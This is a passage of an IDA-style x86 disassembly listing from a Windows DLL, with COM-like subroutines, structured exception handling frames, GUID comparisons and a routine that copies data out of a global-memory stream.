		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B55903:				; DATA XREF: .text:69B55930o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B55918:				; CODE XREF: sub_69B558B9+3Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B5591C:				; CODE XREF: sub_69B558B9+1Aj
		call	sub_69B1853C
		retn	0Ch
sub_69B558B9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B55928	dd 0FFFFFFFFh			dd offset loc_69B558FA
		dd offset loc_69B55903

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B55934	proc near		; DATA XREF: .text:69B125C4o

var_1C		= byte ptr -1Ch
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		call	dword_69B92948
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B5594E
		mov	eax, 80004005h
		jmp	short loc_69B559B8
; ---------------------------------------------------------------------------


loc_69B5594E:				; CODE XREF: sub_69B55934+11j
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	edi, [esi+0Ch]
		mov	ecx, edi
		call	sub_69B87FDC
		push	eax
		push	ebx
		lea	ecx, [ebp+var_C]
		call	sub_69B1A8C7
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_69B55978
		mov	eax, [ecx]
		call	dword ptr [eax+0B4h]
		jmp	short loc_69B5597A
; ---------------------------------------------------------------------------


loc_69B55978:				; CODE XREF: sub_69B55934+38j
		xor	eax, eax


loc_69B5597A:				; CODE XREF: sub_69B55934+42j
		push	eax
		mov	ecx, edi
		call	sub_69B87FDC
		push	eax
		push	ebx
		lea	ecx, [ebp+var_1C]
		call	sub_69B3B332
		push	0
		push	[ebp+arg_8]
		mov	ecx, esi
		push	[ebp+arg_4]
		call	sub_69B558B9
		lea	ecx, [ebp+var_1C]
		mov	esi, eax
		call	sub_69B18EBA
		lea	ecx, [ebp+var_C]
		call	sub_69B1976C
		push	ebx
		call	dword_69B92944
		pop	edi
		mov	eax, esi
		pop	esi


loc_69B559B8:				; CODE XREF: sub_69B55934+18j
		pop	ebx
		leave
		retn	0Ch
sub_69B55934	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B559BD	proc near		; DATA XREF: .text:69B125CCo

var_1C		= byte ptr -1Ch
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		call	dword_69B92948
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B559D7
		mov	eax, 80004005h
		jmp	short loc_69B55A43
; ---------------------------------------------------------------------------


loc_69B559D7:				; CODE XREF: sub_69B559BD+11j
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	edi, [esi+0Ch]
		mov	ecx, edi
		call	sub_69B87FDC
		push	eax
		push	ebx
		lea	ecx, [ebp+var_C]
		call	sub_69B1A8C7
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_69B55A01
		mov	eax, [ecx]
		call	dword ptr [eax+0B4h]
		jmp	short loc_69B55A03
; ---------------------------------------------------------------------------


loc_69B55A01:				; CODE XREF: sub_69B559BD+38j
		xor	eax, eax


loc_69B55A03:				; CODE XREF: sub_69B559BD+42j
		push	eax
		mov	ecx, edi
		call	sub_69B87FDC
		push	eax
		push	ebx
		lea	ecx, [ebp+var_1C]
		call	sub_69B3B332
		mov	eax, [esi+30h]
		push	0
		push	[ebp+arg_4]
		inc	eax
		push	eax
		mov	ecx, esi
		call	sub_69B558B9
		lea	ecx, [ebp+var_1C]
		mov	esi, eax
		call	sub_69B18EBA
		lea	ecx, [ebp+var_C]
		call	sub_69B1976C
		push	ebx
		call	dword_69B92944
		pop	edi
		mov	eax, esi
		pop	esi


loc_69B55A43:				; CODE XREF: sub_69B559BD+18j
		pop	ebx
		leave
		retn	8
sub_69B559BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B55A48	proc near		; DATA XREF: .text:69B125E8o

var_1C		= byte ptr -1Ch
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		call	dword_69B92948
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B55A62
		mov	eax, 80004005h
		jmp	short loc_69B55ACE
; ---------------------------------------------------------------------------


loc_69B55A62:				; CODE XREF: sub_69B55A48+11j
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	edi, [esi+0Ch]
		mov	ecx, edi
		call	sub_69B87FDC
		push	eax
		push	ebx
		lea	ecx, [ebp+var_C]
		call	sub_69B1A8C7
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_69B55A8C
		mov	eax, [ecx]
		call	dword ptr [eax+0B4h]
		jmp	short loc_69B55A8E
; ---------------------------------------------------------------------------


loc_69B55A8C:				; CODE XREF: sub_69B55A48+38j
		xor	eax, eax


loc_69B55A8E:				; CODE XREF: sub_69B55A48+42j
		push	eax
		mov	ecx, edi
		call	sub_69B87FDC
		push	eax
		push	ebx
		lea	ecx, [ebp+var_1C]
		call	sub_69B3B332
		mov	eax, [esi+30h]
		push	1
		push	[ebp+arg_4]
		inc	eax
		push	eax
		mov	ecx, esi
		call	sub_69B558B9
		lea	ecx, [ebp+var_1C]
		mov	esi, eax
		call	sub_69B18EBA
		lea	ecx, [ebp+var_C]
		call	sub_69B1976C
		push	ebx
		call	dword_69B92944
		pop	edi
		mov	eax, esi
		pop	esi


loc_69B55ACE:				; CODE XREF: sub_69B55A48+18j
		pop	ebx
		leave
		retn	8
sub_69B55A48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B55AD3	proc near		; CODE XREF: sub_69B55B8D+4Fp
					; sub_69B55C4C+68p

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		push	edi
		push	1
		push	[ebp+arg_0]
		mov	esi, ecx
		call	sub_69B5586C
		mov	edi, eax
		test	edi, edi
		jz	loc_69B55B85
		cmp	edi, [esi+3Ch]
		jnz	short loc_69B55B08
		mov	ecx, esi
		call	sub_69B54DEB
		push	0
		mov	ecx, esi
		call	sub_69B553E2
		jmp	short loc_69B55B85
; ---------------------------------------------------------------------------


loc_69B55B08:				; CODE XREF: sub_69B55AD3+21j
		mov	eax, [edi]
		push	ebx
		mov	ecx, edi
		call	dword ptr [eax+0F4h]
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_69B55B28
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+0B4h]
		mov	[ebp+var_4], eax
		jmp	short loc_69B55B2C
; ---------------------------------------------------------------------------


loc_69B55B28:				; CODE XREF: sub_69B55AD3+44j
		and	[ebp+var_4], 0


loc_69B55B2C:				; CODE XREF: sub_69B55AD3+53j
		push	dwTlsIndex
		call	dword_69B92970
		push	[ebp+var_4]
		lea	ecx, [esi+0Ch]
		mov	[ebp+var_8], eax
		call	sub_69B87FDC
		push	eax
		push	[ebp+var_8]
		lea	ecx, [ebp+var_1C]
		call	sub_69B54B6A
		cmp	[ebp+var_18], 0
		jnz	short loc_69B55B62
		push	80004005h
		call	sub_69B2E8B8


loc_69B55B62:				; CODE XREF: sub_69B55AD3+83j
		test	ebx, ebx
		jz	short loc_69B55B71
		mov	eax, [ebx]
		push	edi
		mov	ecx, ebx
		call	dword ptr [eax+84h]


loc_69B55B71:				; CODE XREF: sub_69B55AD3+91j
		push	[ebp+arg_0]
		mov	ecx, [esi+28h]
		call	sub_69B8A22A
		lea	ecx, [ebp+var_1C]
		call	sub_69B4637D
		pop	ebx


loc_69B55B85:				; CODE XREF: sub_69B55AD3+18j
					; sub_69B55AD3+33j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	4
sub_69B55AD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B55B8D	proc near		; DATA XREF: .text:69B125F0o
		push	20h
		push	offset dword_69B55C40
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B55BB0
		mov	eax, 80004005h
		jmp	loc_69B55C38
; ---------------------------------------------------------------------------


loc_69B55BB0:				; CODE XREF: sub_69B55B8D+17j
		mov	esi, [ebp+8]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		and	dword ptr [ebp-4], 0
		mov	edi, [ebp+0Ch]
		test	edi, edi
		jz	short loc_69B55BD5
		and	dword ptr [edi], 0


loc_69B55BD5:				; CODE XREF: sub_69B55B8D+43j
		mov	eax, [esi+30h]
		inc	eax
		push	eax
		mov	ecx, esi
		call	sub_69B55AD3
		mov	[ebp-2Ch], eax
		test	edi, edi
		jz	short loc_69B55BF3
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_69B54DBE
		jmp	short loc_69B55C1D
; ---------------------------------------------------------------------------


loc_69B55BF3:				; CODE XREF: sub_69B55B8D+59j
		xor	ecx, ecx
		test	eax, eax
		setz	cl
		mov	[ebp-30h], ecx
		jmp	short loc_69B55C20
; ---------------------------------------------------------------------------


loc_69B55BFF:				; DATA XREF: .text:69B55C44o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B55C08:				; DATA XREF: .text:69B55C48o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B55C1D:				; CODE XREF: sub_69B55B8D+64j
		mov	[ebp-30h], eax


loc_69B55C20:				; CODE XREF: sub_69B55B8D+70j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B55C38:				; CODE XREF: sub_69B55B8D+1Ej
		call	sub_69B1853C
		retn	8
sub_69B55B8D	endp

; ---------------------------------------------------------------------------
dword_69B55C40	dd 0FFFFFFFFh			dd offset loc_69B55BFF
		dd offset loc_69B55C08

; =============== S U B	R O U T	I N E =======================================



sub_69B55C4C	proc near		; DATA XREF: .text:69B125F4o
		push	24h
		push	offset dword_69B55D18
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B55C71
		mov	eax, 80004005h
		jmp	loc_69B55D0B
; ---------------------------------------------------------------------------


loc_69B55C71:				; CODE XREF: sub_69B55C4C+19j
		mov	esi, [ebp+8]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		xor	edi, edi
		mov	[ebp-4], ebx
		mov	eax, [esi+3Ch]
		mov	[ebp-2Ch], eax
		cmp	eax, ebx
		jz	short loc_69B55CB1
		mov	[ebp-30h], eax
		mov	al, [eax+0Ah]
		not	al
		test	al, 1
		jz	short loc_69B55CB1


loc_69B55CA3:				; CODE XREF: sub_69B55C4C+63j
		cmp	[esi+2Ch], bl
		jnz	short loc_69B55CB1
		mov	ecx, esi
		call	sub_69B555EC
		jmp	short loc_69B55CA3
; ---------------------------------------------------------------------------


loc_69B55CB1:				; CODE XREF: sub_69B55C4C+49j
					; sub_69B55C4C+55j ...
		push	ebx
		mov	ecx, esi
		call	sub_69B55AD3
		mov	[ebp-34h], eax
		cmp	eax, ebx
		jnz	short loc_69B55CB1
		mov	ecx, esi
		call	sub_69B54DEB
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B55CF3
; ---------------------------------------------------------------------------


loc_69B55CCD:				; DATA XREF: .text:69B55D1Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B55CD6:				; DATA XREF: .text:69B55D20o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		xor	ebx, ebx


loc_69B55CF3:				; CODE XREF: sub_69B55C4C+7Fj
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		cmp	[ebp-1Ch], ebx
		jz	short loc_69B55D09
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944


loc_69B55D09:				; CODE XREF: sub_69B55C4C+B2j
		mov	eax, edi


loc_69B55D0B:				; CODE XREF: sub_69B55C4C+20j
		call	sub_69B1853C
		retn	4
sub_69B55C4C	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B55D18	dd 0FFFFFFFFh			dd offset loc_69B55CCD
		dd offset loc_69B55CD6

; =============== S U B	R O U T	I N E =======================================



sub_69B55D24	proc near		; DATA XREF: .text:69B125F8o
		push	44h
		push	offset dword_69B55E88
		call	sub_69B19C5C
		call	dword_69B92948
		mov	ebx, eax
		mov	[ebp-1Ch], ebx
		test	ebx, ebx
		jnz	short loc_69B55D49
		mov	eax, 80004005h
		jmp	loc_69B55E7B
; ---------------------------------------------------------------------------


loc_69B55D49:				; CODE XREF: sub_69B55D24+19j
		mov	esi, [ebp+8]
		lea	edi, [esi+0Ch]
		mov	ecx, edi
		call	sub_69B87FDC
		push	eax
		push	ebx
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_69B55D71
		mov	eax, [ecx]
		call	dword ptr [eax+0B4h]
		jmp	short loc_69B55D73
; ---------------------------------------------------------------------------


loc_69B55D71:				; CODE XREF: sub_69B55D24+41j
		xor	eax, eax


loc_69B55D73:				; CODE XREF: sub_69B55D24+4Bj
		push	eax
		mov	ecx, edi
		call	sub_69B87FDC
		push	eax
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_69B3B332
		and	dword ptr [ebp-3Ch], 0
		mov	ebx, [ebp+0Ch]
		test	ebx, ebx
		jnz	short loc_69B55D9C
		mov	dword ptr [ebp-3Ch], 80070057h
		jmp	loc_69B55E59
; ---------------------------------------------------------------------------


loc_69B55D9C:				; CODE XREF: sub_69B55D24+6Aj
		and	dword ptr [ebp-4], 0
		push	44h
		call	sub_69B1D897
		mov	ecx, eax
		mov	[ebp-40h], ecx
		test	ecx, ecx
		jz	short loc_69B55DB7
		call	sub_69B4399D
		jmp	short loc_69B55DB9
; ---------------------------------------------------------------------------


loc_69B55DB7:				; CODE XREF: sub_69B55D24+8Aj
		xor	eax, eax


loc_69B55DB9:				; CODE XREF: sub_69B55D24+91j
		mov	edi, eax
		mov	[ebp-44h], edi
		mov	eax, [esi+38h]
		mov	[edi+38h], eax
		mov	eax, [esi+40h]
		mov	[ebp-48h], eax
		push	eax		; int
		push	0		; lpString
		mov	ecx, edi
		call	sub_69B5538B
		mov	eax, [esi+3Ch]
		mov	[ebp-4Ch], eax
		push	eax
		mov	ecx, edi
		call	sub_69B553E2
		push	1
		mov	eax, [esi+30h]
		inc	eax
		push	eax
		mov	ecx, esi
		call	sub_69B5586C
		mov	[ebp-50h], eax
		cmp	byte ptr [esi+2Ch], 0
		jnz	short loc_69B55E15


loc_69B55DF9:				; CODE XREF: sub_69B55D24+EDj
		push	0
		mov	eax, [edi+30h]
		inc	eax
		push	eax
		mov	ecx, edi
		call	sub_69B5586C
		mov	[ebp-54h], eax
		test	eax, eax
		jz	short loc_69B55E19
		cmp	eax, [ebp-50h]
		jnz	short loc_69B55DF9
		jmp	short loc_69B55E19
; ---------------------------------------------------------------------------


loc_69B55E15:				; CODE XREF: sub_69B55D24+D3j
		mov	byte ptr [edi+2Ch], 1


loc_69B55E19:				; CODE XREF: sub_69B55D24+E8j
					; sub_69B55D24+EFj
		mov	ecx, [esi+28h]
		mov	eax, [ecx]
		call	dword ptr [eax+28h]
		push	eax
		lea	ecx, [edi+28h]
		call	sub_69B199CC
		mov	eax, [esi+30h]
		mov	[edi+30h], eax
		mov	[ebx], edi
		jmp	short loc_69B55E55
; ---------------------------------------------------------------------------


loc_69B55E34:				; DATA XREF: .text:69B55E8Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B55E3D:				; DATA XREF: .text:69B55E90o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-3Ch], eax


loc_69B55E55:				; CODE XREF: sub_69B55D24+10Ej
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B55E59:				; CODE XREF: sub_69B55D24+73j
		lea	ecx, [ebp-38h]
		call	sub_69B18EBA
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		cmp	dword ptr [ebp-1Ch], 0
		jz	short loc_69B55E78
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944


loc_69B55E78:				; CODE XREF: sub_69B55D24+149j
		mov	eax, [ebp-3Ch]


loc_69B55E7B:				; CODE XREF: sub_69B55D24+20j
		call	sub_69B1853C
		retn	8
sub_69B55D24	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B55E88	dd 0FFFFFFFFh			dd offset loc_69B55E34
		dd offset loc_69B55E3D

; =============== S U B	R O U T	I N E =======================================



sub_69B55E94	proc near		; DATA XREF: .text:69B2801Co

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	dword ptr [esi]
		add	ecx, 0FFFFFFE4h
		call	sub_69B5586C
		test	eax, eax
		jz	short loc_69B55EAB
		inc	dword ptr [esi]


loc_69B55EAB:				; CODE XREF: sub_69B55E94+13j
		pop	esi
		retn	4
sub_69B55E94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B55EAF	proc near		; DATA XREF: .text:69B12810o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+10h]
		cmp	edx, 2
		jnz	short loc_69B55ECC
		mov	ecx, [ebp+arg_4]
		or	ecx, [ebp+arg_8]
		jz	short loc_69B55EFB
		mov	eax, 80004001h
		jmp	short loc_69B55F1F
; ---------------------------------------------------------------------------


loc_69B55ECC:				; CODE XREF: sub_69B55EAF+Cj
		mov	ecx, [ebp+arg_C]
		sub	ecx, 0
		jz	short loc_69B55EEA
		dec	ecx
		jz	short loc_69B55EE2
		dec	ecx
		jnz	short loc_69B55EF0
		mov	ecx, [eax+1Ch]
		add	ecx, [ebp+arg_4]
		jmp	short loc_69B55EED
; ---------------------------------------------------------------------------


loc_69B55EE2:				; CODE XREF: sub_69B55EAF+26j
		mov	ecx, [ebp+arg_4]
		add	[eax+24h], ecx
		jmp	short loc_69B55EF0
; ---------------------------------------------------------------------------


loc_69B55EEA:				; CODE XREF: sub_69B55EAF+23j
		mov	ecx, [ebp+arg_4]


loc_69B55EED:				; CODE XREF: sub_69B55EAF+31j
		mov	[eax+24h], ecx


loc_69B55EF0:				; CODE XREF: sub_69B55EAF+29j
					; sub_69B55EAF+39j
		mov	ecx, [eax+1Ch]
		cmp	[eax+24h], ecx
		jbe	short loc_69B55EFB
		mov	[eax+24h], ecx


loc_69B55EFB:				; CODE XREF: sub_69B55EAF+14j
					; sub_69B55EAF+47j
		mov	ecx, [ebp+arg_10]
		test	ecx, ecx
		jz	short loc_69B55F1D
		test	edx, edx
		jnz	short loc_69B55F0A
		and	[ecx], edx
		jmp	short loc_69B55F19
; ---------------------------------------------------------------------------


loc_69B55F0A:				; CODE XREF: sub_69B55EAF+55j
		cmp	edx, 1
		jnz	short loc_69B55F14
		mov	eax, [eax+24h]
		jmp	short loc_69B55F17
; ---------------------------------------------------------------------------


loc_69B55F14:				; CODE XREF: sub_69B55EAF+5Ej
		mov	eax, [eax+1Ch]


loc_69B55F17:				; CODE XREF: sub_69B55EAF+63j
		mov	[ecx], eax


loc_69B55F19:				; CODE XREF: sub_69B55EAF+59j
		and	dword ptr [ecx+4], 0


loc_69B55F1D:				; CODE XREF: sub_69B55EAF+51j
		xor	eax, eax


loc_69B55F1F:				; CODE XREF: sub_69B55EAF+1Bj
		pop	ebp
		retn	14h
sub_69B55EAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B55F23	proc near		; CODE XREF: sub_69B1AA33+AD9Bp
					; sub_69B1AA33+AE63p
					; DATA XREF: ...
		xor	eax, eax
		retn	8
sub_69B55F23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B55F28	proc near		; CODE XREF: sub_69B5611F+2Ep
					; sub_69B7D890+15p

var_60		= byte ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
hMem		= dword	ptr -0Ch
pstm		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 60h
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		push	ebx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, esi
		mov	[ebp+var_10], esi
		mov	[ebp+pstm], esi
		mov	[ebp+hMem], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_14], esi
		jnz	short loc_69B55F5D
		mov	ebx, 80070057h
		jmp	loc_69B5603F
; ---------------------------------------------------------------------------


loc_69B55F5D:				; CODE XREF: sub_69B55F28+29j
		mov	ecx, [eax]
		lea	edx, [ebp+var_10]
		push	edx
		push	offset dword_69B2B0D0
		push	eax
		call	dword ptr [ecx]
		mov	ebx, eax
		cmp	ebx, esi
		jl	loc_69B56025
		lea	eax, [ebp+pstm]
		push	eax		; ppstm
		push	1		; fDeleteOnRelease
		push	esi		; hGlobal
		call	ds:CreateStreamOnHGlobal
		mov	ebx, eax
		cmp	ebx, esi
		jl	loc_69B56025
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	1
		push	[ebp+pstm]
		push	eax
		call	dword ptr [ecx+18h]
		mov	ebx, eax
		cmp	ebx, esi
		jl	loc_69B56025
		lea	eax, [ebp+hMem]
		push	eax		; phglobal
		push	[ebp+pstm]	; pstm
		call	ds:GetHGlobalFromStream
		mov	ebx, eax
		cmp	ebx, esi
		jl	short loc_69B56025
		push	edi
		push	12h
		pop	ecx
		xor	eax, eax
		push	1
		lea	edi, [ebp+var_60]
		rep stosd
		mov	eax, [ebp+pstm]
		mov	ecx, [eax]
		lea	edx, [ebp+var_60]
		push	edx
		push	eax
		call	dword ptr [ecx+30h]
		cmp	[ebp+var_54], esi
		jz	short loc_69B55FDD
		mov	ebx, 80004005h
		jmp	short loc_69B56024
; ---------------------------------------------------------------------------


loc_69B55FDD:				; CODE XREF: sub_69B55F28+ACj
		mov	eax, [ebp+var_58]
		cmp	eax, esi
		mov	[ebp+var_14], eax
		jbe	short loc_69B56024
		push	eax
		call	sub_69B11E44
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_18], edi
		jnz	short loc_69B55FFD
		mov	ebx, 8007000Eh
		jmp	short loc_69B56024
; ---------------------------------------------------------------------------


loc_69B55FFD:				; CODE XREF: sub_69B55F28+CCj
		push	[ebp+hMem]	; hMem
		call	ds:GlobalLock	; GlobalLock
		mov	ecx, [ebp+var_14]
		mov	esi, eax
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	[ebp+hMem]	; hMem
		call	ds:GlobalUnlock	; GlobalUnlock
		xor	esi, esi


loc_69B56024:				; CODE XREF: sub_69B55F28+B3j
					; sub_69B55F28+BDj ...
		pop	edi


loc_69B56025:				; CODE XREF: sub_69B55F28+47j
					; sub_69B55F28+5Ej ...
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jz	short loc_69B56032
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B56032:				; CODE XREF: sub_69B55F28+102j
		mov	eax, [ebp+pstm]
		cmp	eax, esi
		jz	short loc_69B5603F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B5603F:				; CODE XREF: sub_69B55F28+30j
					; sub_69B55F28+10Fj
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_18]
		mov	[eax], ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	esi
		mov	eax, ebx
		pop	ebx
		call	sub_69B1B9F6
		leave
		retn	0Ch
sub_69B55F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B56062	proc near		; DATA XREF: .text:off_69B127FCo

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+14h]
		test	eax, eax
		push	esi
		push	edi
		mov	edx, offset stru_69B1CA6C
		jz	short loc_69B56095
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, edx
		xor	ebx, ebx
		repe cmpsd
		jnz	short loc_69B56092
		push	[ebp+arg_8]
		mov	ecx, [eax]
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx]
		jmp	short loc_69B560D9
; ---------------------------------------------------------------------------


loc_69B56092:				; CODE XREF: sub_69B56062+21j
		mov	ebx, [ebp+arg_0]


loc_69B56095:				; CODE XREF: sub_69B56062+13j
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, edx
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B560CC
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, offset dword_69B2AFF0
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B560CC
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, offset dword_69B2B000
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B560CC
		mov	eax, 80004002h
		jmp	short loc_69B560D9
; ---------------------------------------------------------------------------


loc_69B560CC:				; CODE XREF: sub_69B56062+3Fj
					; sub_69B56062+50j ...
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+4]
		mov	eax, [ebp+arg_8]
		mov	[eax], ebx
		xor	eax, eax


loc_69B560D9:				; CODE XREF: sub_69B56062+2Ej
					; sub_69B56062+68j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_69B56062	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B560E0	proc near		; CODE XREF: sub_69B56167+40p
					; sub_69B5642C+C4p

pvarg		= VARIANTARG ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		mov	ebx, ecx
		call	VariantInit
		mov	eax, [ebx+2Ch]
		mov	dword ptr [ebp+pvarg.anonymous_0+8], eax
		mov	eax, [ebx+28h]
		mov	word ptr [ebp+pvarg.anonymous_0], 2011h
		mov	ecx, [eax]
		sub	esp, 10h
		mov	edi, esp
		lea	esi, [ebp+pvarg]
		movsd
		movsd
		movsd
		push	eax
		movsd
		call	dword ptr [ecx+54h]
		and	dword ptr [ebx+30h], 0
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B560E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5611F	proc near		; CODE XREF: sub_69B561FC+95p
					; sub_69B56301+62p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		lea	edx, [ebp+var_4]
		mov	esi, ecx
		mov	eax, [esi+14h]
		mov	ecx, [eax]
		push	edx
		push	offset dword_69B2AFE0
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B56154
		lea	eax, [esi+1Ch]
		push	eax
		add	esi, 20h
		push	esi
		push	[ebp+var_4]
		call	sub_69B55F28
		mov	edi, eax


loc_69B56154:				; CODE XREF: sub_69B5611F+21j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B56161
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B56161:				; CODE XREF: sub_69B5611F+3Aj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_69B5611F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B56167	proc near		; CODE XREF: sub_69B5654C+3p
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		lea	ecx, [esi-4]
		xor	ebp, ebp
		cmp	dword ptr [esi+0Ch], 2
		push	edi
		mov	dword ptr [ecx], offset	off_69B127FC
		mov	dword ptr [esi], offset	off_69B28B0C
		jnz	short loc_69B561AC
		mov	eax, [esi+14h]
